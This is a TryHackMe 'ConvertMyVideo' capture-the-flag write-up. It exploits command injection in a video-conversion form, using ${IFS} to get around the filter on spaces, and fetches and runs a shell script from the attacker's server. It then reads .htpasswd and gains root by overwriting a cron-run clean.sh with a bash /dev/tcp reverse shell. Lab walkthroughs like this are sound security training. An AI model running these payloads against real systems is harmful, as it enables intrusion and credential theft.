TryHackMe - ConvertMyVideo
Last updated
Last updated
Apache httpd 2.4.29 - CVE-2021-41773
https://github.com/iilegacyyii/PoC-CVE-2021-41773
Not going anywhere with this
First I inspected on burp the request. Sent it to my repeater and played with it a little
Here are the interesting elements of the response
According to this it is using a binary called youtube-dl and put the converted video to a downloads folder in /tmp
We can still get our user flag this way though, as we saw it listed with the previous command that worked cat${IFS}admin/flag.txt
Let's try to get a reverse shell all the one liners with reverse have dash sign in them. let's see if we can wget a homemade file with a oneliner shell in it and execute it afterwards.
We make a file called oneliner.sh and put this in it
Replace the script with your IP
And we laucnh our python http server in the folder where our shell is
let's stabilize our shell python3 -c 'import pty; pty.spawn("/bin/bash")'
Let's try to overwrite clean.sh
If we execute linpeas on the target we see that cron is running as root.
The clean is just an rm -rf downloads
Let's launch a listener rlwrap nc -lvp 5555
echo "bash -i >& /dev/tcp/10.13.22.56/5555 0>&1" > /var/www/html/tmp/clean.sh
What is the name of the secret folder? admin (we get this using gobuster, see above)
What is the user to access the secret folder? to know this we need to do this one we have our reverse shell cat admin/.htpasswd we will get the user and password inside this file.
I let you find the flags on your own :)
We have a page with a file upload functionality to convert a video
If we use a real youtube video ID it does not work. We get an error message
I tried to inject a command after the url, and got interesting info
We can check for more info
We definitely can push further our cmd injection investigation. We can try using backquotes, and it works
If I want to do more than just a command without args it is getting tricky because of the space, and url encoding does not work. But if you google linux command without space you find , turns out you can replace a space with ${IFS} which is a var that contains a space! It works if we do ls${IFS}admin but not if we do ls${IFS}-al it seems to interpret our -
So now let's try to first wget our file wget${IFS}http://10.13.22.56/oneliner.sh we can already set up our listener so that we do not forget about it rlwrap nc -lvp 4444 our wget seems to work
Let's try to execute it but before we need to make it executable bash${IFS}oneliner.sh our chmod with +x does not work let's try with 777 chmod${IFS}777${IFS}oneliner.sh and it works
If we look around a little we are able to answer question 2 with a cat on .htpasswd
Let's get in our target and execute it
It seems like there is a clean.sh file that is executed through a probable cron job
And we get a root shell and we can get our flag
